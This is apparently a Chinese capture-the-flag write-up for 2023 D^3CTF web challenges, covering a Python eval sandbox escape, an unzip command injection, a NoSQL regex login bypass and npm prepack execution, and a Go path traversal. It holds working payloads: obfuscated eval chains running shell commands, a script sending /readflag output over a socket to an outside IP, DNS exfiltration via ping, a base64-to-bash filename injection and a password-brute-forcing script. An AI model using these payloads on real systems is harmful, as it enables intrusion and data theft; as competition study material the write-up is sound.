1
2
3
exp = '__import__("os").system("id")'

print(f"eval(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

如果if过滤

image-20230503212604796

1
CMD = [eval][eval(list(dict(b_o_o_l=1))[0][::2])(eval(list(dict(e_x_e_c=1))[0][::2])(eval(list(dict(b_y_t_e_s=1))[0][::2])([eval(list(dict(o_r_d=1))[0][::2])(j)for(i)in(list(eval(list(dict(o_p_e_n=1))[0][::2])(eval(list(dict(s_t_r=1))[0][::2])(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_a_s_e_6_4=1))[0][::2]))[23:-2])))[:-5]for(j)in(i)])))](eval(list(dict(b_6_4_d_e_c_o_d_e=1))[0][::2])(list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))

利用点处于函数内部,exec生成的变量无法在函数上下文中使用

1
eval(vars(eval(list(dict(_1_1i1m1p1o1r1t1_1_=1))[0][::2])(list(dict(b_i_n_a_s_c_i_i_=1))[0][::2]))[list(dict(a_2_b1_1b_a_s_e_6_4=1))[0][::2]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=1))[0]))

数字禁用

  • 0 -> len([])
  • 2 -> len(list(dict(aa=()))[len([])])
1
2
3
4
5
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'

CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=()))[len([])]))"

CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})

2023 D^3CTF writeup by 万年三等奖 (qq.com)

Escape Plan

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""

try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"

black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'

msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"

return msg

a2b_base64解码拼接

过滤了很多…..

特别是.和引号的过滤限制了很多操作

利用unicode字符替换掉e,然后利用 vars(binascii)里的a2b_base64进行base64解码,由于base64编码在参数位置,我们还是用unicode数字来进行替换绕过,绕过之后命令执行无法直接反弹,通过创建TCP套接字带出

1
2
3
4
5
6
7
8
import socket, os
flag = os.popen("/readflag").read().encode()
host = "39.105.125.61"
port=667
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(flag)
s.close()

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests, base64
u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
payload = b"""__import__('os').popen("python -c 'import socket, os; flag = os.popen(\\"/readflag\\").read().encode();host = \\"39.105.125.61\\";port=667;s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;'").read()"""
payload = str(base64.b64encode(payload)).strip('b').strip("'")
print(payload)
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}=()))[len([])]))".format(payload)#注意这里dict({}())不用写=,因此要调试一下payload字符为3的倍数保证编码无=
CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)})
r = requests.post("http://139.196.153.118:30187/", data={"cmd":base64.b64encode(CMD.encode())}).text
print(CMD)
print("\n")
print(r)


X19pbXBvcnRfXygnb3MnKS5wb3BlbigicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LCBvczsgZmxhZyA9IG9zLnBvcGVuKFwiL3JlYWRmbGFnXCIpLnJlYWQoKS5lbmNvZGUoKTtob3N0ID0gXCIzOS4xMDUuMTI1LjYxXCI7cG9ydD02Njc7cyA9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKGhvc3QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk7cy5jbG9zZSgpO2E9MTsnIikucmVhZCgp=
ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_𝟤_b𝟣_𝟣b_a_s_e_𝟨_𝟦=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X𝟣𝟫pbXBvcnRfXygnb𝟥MnKS𝟧wb𝟥BlbigicHl𝟢aG𝟫uIC𝟣jICdpbXBvcnQgc𝟤𝟫ja𝟤V𝟢LCBvczsgZmxhZyA𝟫IG𝟫zLnBvcGVuKFwiL𝟥JlYWRmbGFnXCIpLnJlYWQoKS𝟧lbmNvZGUoKTtob𝟥N𝟢ID𝟢gXCIzOS𝟦xMDUuMTI𝟣LjYxXCI𝟩cG𝟫ydD𝟢𝟤Njc𝟩cyA𝟫c𝟤𝟫ja𝟤V𝟢LnNvY𝟤tldChzb𝟤NrZXQuQUZfSU𝟧FVCwgc𝟤𝟫ja𝟤V𝟢LlNPQ𝟢tfU𝟣RSRUFNKTtzLmNvbm𝟧lY𝟥QoKGhvc𝟥QsIHBvcnQpKTtzLnNlbmRhbGwoZmxhZyk𝟩cy𝟧jbG𝟫zZSgpO𝟤E𝟫MTsnIikucmVhZCgp=()))[len([])]))

success

进程已结束,退出代码0

image-20230503205611271

repr切片拼接

‌⁣‬‍⁢⁡⁣‬⁣⁣‬‬‬⁣⁤‬⁤‬‍⁡⁢⁣⁣⁡⁣⁡⁤⁢⁢‬⁤⁡‌⁤⁤‌‬⁤2023 AntCTF x D^3CTF 亚军 Writeup By S1uM4i - 飞书云文档 (feishu.cn)

过滤数字利用len(black_char)len([])绕过

repr(request)拿到字符串,再使用数组配合位运算符切片截取

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import base64
shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
s=''
for i in shell:
s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://47.102.115.18:30634/?'+payload
response=requests.post(url=url,data=data)
print(response.text)

分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import base64
#shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org'
shell='whoami'

s=''
for i in shell:
s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])<<(len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])))|(len(black_char[len([])])<<(len(black_char[len([])])<<len(black_char[len([])])<<len(black_char[len([])])|len(black_char[len([])]))):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
print(payload1)
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://127.0.0.1:5000/?'+payload
response=requests.post(url=url,data=data)
print(url)
print(response.text)

本地测试打过去的repr(request)

1
<Request "http://127.0.0.1:5000/?__import__('os').popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))" [POST]>139.196.153.118:31207
1
repr(request)[起始索引:终止索引]

根据payload长度调试起始索引即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import base64
shell='ping -c 1 `whoami`.jx0nsn.dnslog.cn'

s=''
for i in shell:
s+="chr("+str(ord(i))+")+"
print(s[0:-1])
payload = payload = "__import__('os').popen({})".format(s[0:-1])
payload1 = "ᵉxec(repr(request)[len(repr(request))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])]))-int(len(black_char[len([])])):len(repr(request))-int(black_char[len(black_char)-len(black_char[len([])])])])"
print(payload1)
data = {"cmd": base64.b64encode(payload1.encode('utf-8')).decode('utf-8')}
url='http://139.196.153.118:31965/?'+payload
#url='http://127.0.0.1:5000/?'+payload
response=requests.post(url=url,data=data)
print(url)
print(response.text)

image-20230504150103889

True转化数字

Nu1L Team

image-20230503213933606

d3cloud

admin uses laravel-admin to build a personal cloud disk, and adds a utility function

http://139.196.153.118:32407/admin/auth/login

admin/admin弱密码登录

插件发现 FilesystemAdapter.php

image-20230504194530062

filesystem/FilesystemAdapter.php at 5.5 · illuminate/filesystem · GitHub

对比源码以下部分不太一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function putFileAs($path, $file, $name, $options = [])
{
$supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt');
$file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION));
if (!in_array($file_type, $supported_file)) {
return false;
}
$stream = fopen($file->getRealPath(), 'r+');
$result = $this->put(
$path = trim($path.'/'.$name, '/'), $stream, $options
);
if (is_resource($stream)) {
fclose($stream);
}
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}
return $result ? $path : false;
}

主要是上传zip文件自动解压操作

1
2
3
4
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}

尝试unzip处命令注入

1
2
1;echo Y2F0IC9mbDFBZyA+IC92YXIvd3d3L2h0bWwvcHVibGljL2ZsYWcudHh0|base64 -
d|bash;.zip

image-20230504204059817

d3node

Enjoy the Node website :D

It will shows Internal Server Error at the beginning, please wait and refresh!

源代码得到hint1

img

万能密码登录

1
password[$regex]=^.&username=admin

image-20230505111910306

有些功能点需要admin权限

可以盲注admin密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
password=""
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
url = 'http://139.196.153.118:31723/user/LoginIndex'
while True:
for c in string.printable[:-6]:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
r = requests.post(url=url, data=payload,allow_redirects=False,proxies=proxies)
if r.status_code==302:
print(payload)
password += c
print(password)

登陆后源码中可以找到htin2

image-20230504214948040

过滤了app.js,所以通过readFileSync特性传入二次编码app.js对象

1
filename[origin]=*&filename[href]=*&filename[protocol]=file:&filename[hostname]=&filename[pathname]=a%2570p.js

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const session = require("express-session");
const stringRandom = require("string-random");
const path = require("path");

// register router
const indexRouter = require("./routes/index");
const userRouter = require("./routes/user");
const dashboardIndexRouter = require("./routes/dashboardIndex");

const app = express();
const PORT = 8080;

app.engine('html', require('hbs').__express);
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'static')));

app.use(session({
secret: stringRandom(32),
resave: false,
saveUninitialized: true,
cookie: {
maxAge: 1000 * 60 * 60 * 24 * 7
}
}));

// set router
app.use("/",indexRouter);
app.use("/user",userRouter);
app.use("/dashboardIndex",dashboardIndexRouter);

app.listen(8080,() =>
{
console.log(`App listening on ${PORT}`);
});
1
http://139.196.153.118:31878/dashboardIndex/ShowExampleFile?filename[origin]=*&filename[href]=*&filename[protocol]=file:&filename[hostname]=&filename[pathname]=./routes/dashboardIndex.js

主要看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
router.all("/SetDependencies",(req,res) => {
if (!req.session.is_login) {
return res.redirect("/user/LoginIndex");
}
if (!req.session.is_admin){
return res.status(403).send("You are not admin");
}
if (req.method === "GET") {
return res.status(200).send("You can post the dependencies here");
}
if (req.method === "POST"){
var data = req.body;

if (typeof data !== "object" && data === {}){
return res.status(200).send("plz set the dependencies");
}
if (!checkFileData(JSON.stringify(data))){
return res.status(200).send("Invalid dependencies");
}
var exampleJson = {
"name": "app-example",
"version": "1.0.0",
"description": "Example app for the Node.js Getting Started guide.",
"author": "anonymous",
"scripts":{
"prepack": "echo 'packing dependencies'"
},
"license": "MIT",
"dependencies": {

}
};
exampleJson = Object.assign(exampleJson,{},data);
//创建了一个新的空对象{},用于接收data对象的属性该方法将会把 data 对象中的属性复制到 exampleJson 对象中,如果 exampleJson 对象中已经存在相同的属性,则会用 data 对象中的对应值覆盖目标对象中的值,最后返回的是修改后的 exampleJson 对象

var filePath = path.join(__dirname,"../public/package.json");
var fileData = JSON.stringify(exampleJson);

fs.writeFile(filePath,fileData,(err) => {
if (err){
return res.status(500).send("Set dependencies error");
}else {
return res.status(200).send("Set dependencies success");
}
})
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Pack dependencies
router.get("/PackDependencies",(req,res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
if (!req.session.is_admin){
return res.render("dashboardIndex",{message: "You are not admin",session_user:"Hello,"+req.session.user});
}
console.log("Packing dependencies...");
var filePath = path.join(__dirname,"../public");
cp.exec("cd " + filePath + "&& npm pack && mv ./*.tgz ./packs",(err,stdout,stderr) => {//npm pack打包
if(err){
return res.render("dashboardIndex",{message: "Pack dependencies error",session_user:"Hello,"+req.session.user});
}else {
return res.render("dashboardIndex",{message: "Pack dependencies success",session_user:"Hello,"+req.session.user});
}
})
})

设置恶意prepack可以在npm pack 打包前执行

image-20230505115657776

image-20230505120328845

访问页面执行npm pack

1
http://139.196.153.118:31878/dashboardIndex/PackDependencies

成功

image-20230505121040313

d3go

根据目录穿越获取源码

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main

import (
"crypto/rand"
"d3go/config"
"d3go/controller"
"d3go/db"
"d3go/middleware"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
log "github.com/sirupsen/logrus"
"net/http"
"strings"
)

func prog(state overseer.State) {
r := gin.Default()
InitRouter(r)
server := http.Server{
Addr: ":8080",
Handler: r,
}
go func() {
if err := server.Serve(state.Listener); err != nil && err != http.ErrServerClosed {
log.Fatal(err)
}
}()
<-state.GracefulShutdown
if err := server.Shutdown(nil); err != nil {
log.Fatal(err)
}
}

func main() {
config.Init()
db.Init()
if config.Conf.AutoUpdate { //如果设置了热更新
log.Printf("Auto update enabled")
err := overseer.RunErr(overseer.Config{
Program: prog,
Address: ":8080",
Fetcher: &config.Fetch,
})
if err != nil {
log.Fatalln(err)
}
} else {
r := gin.Default()
InitRouter(r)
if err := r.Run(":8080"); err != nil {
log.Fatal(err)
}
}
}

func InitRouter(r *gin.Engine) {
var rad [32]byte
rand.Read(rad[:])
store := cookie.NewStore(rad[:])
r.Use(sessions.Sessions("mysession", store))
r.POST("/login", controller.Login)
r.POST("/register", controller.Register)
r.GET("/*filepath", ServeFile)
r.HEAD("/*filepath", ServeFile)
admin := r.Group("/admin")
admin.Use(middleware.Auth())
admin.POST("/upload", controller.Upload)
}

func ServeFile(c *gin.Context) { //c 请求信息.URL,参数,头部
// unzipped file server
p := c.Param("filepath")
if strings.HasPrefix(p, "/unzipped") {
if len(p) == 9 { //如果以/unzipped开头,
p = "/"
} else {
p = p[9:]
}
c.FileFromFS(p, http.Dir("./unzipped")) //开启/unzipped目录接口读取其中的p文件
return
}
// embed static file server
p = "/static/" + c.Param("filepath") //如果没有以/unzipped开头,当作静态文件读取
c.FileFromFS(p, http.FS(Static))
return
}

config.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package config

import (
"github.com/fsnotify/fsnotify"
"github.com/jpillora/overseer/fetcher"
log "github.com/sirupsen/logrus"
"github.com/spf13/viper"
"time"
)

var Conf config
var Fetch fetcher.HTTP

type config struct {
NoAdminLogin bool
DBUser string
DBPasswd string
DBHost string
DBPort string
AutoUpdate bool
UpdateUrl string
UpdateTime time.Duration
}

func Init() {
viper.SetConfigName("config") //看到配置文件config.yaml
viper.SetConfigType("yaml")
viper.AddConfigPath(".")
if err := viper.ReadInConfig(); err != nil {
log.Fatalln(err)
}
UpdateConfig()
viper.OnConfigChange(func(in fsnotify.Event) {
UpdateConfig()
})
viper.WatchConfig()
}

func UpdateConfig() {
Conf.DBUser = viper.GetString("database.user")
Conf.DBPasswd = viper.GetString("database.password")
Conf.DBHost = viper.GetString("database.host")
Conf.DBPort = viper.GetString("database.port")
Conf.NoAdminLogin = viper.GetBool("server.noAdminLogin")
Conf.AutoUpdate = viper.GetBool("update.enabled") //
Fetch = fetcher.HTTP{
URL: viper.GetString("update.url"),
Interval: viper.GetDuration("update.interval") * time.Second,
}
Fetch.Init()
log.Println("config updated")
}

controller.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package controller

import (
"d3go/model"
"d3go/service/auth"
"d3go/service/upload"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"path"
)

type Resp struct {
StatusCode int `json:"status_code"`
StatusMsg string `json:"status_msg,omitempty"`
Data any `json:"data"`
}

var ErrFormatError = "format error"
var ErrInternalServer = "internal server error"

func Login(c *gin.Context) {
u := &model.User{}
err := c.ShouldBindJSON(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}
permission, err := auth.Login(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrInternalServer,
})
return
}
session := sessions.Default(c)
switch permission {
case auth.UnAuthed:
c.JSON(200, Resp{
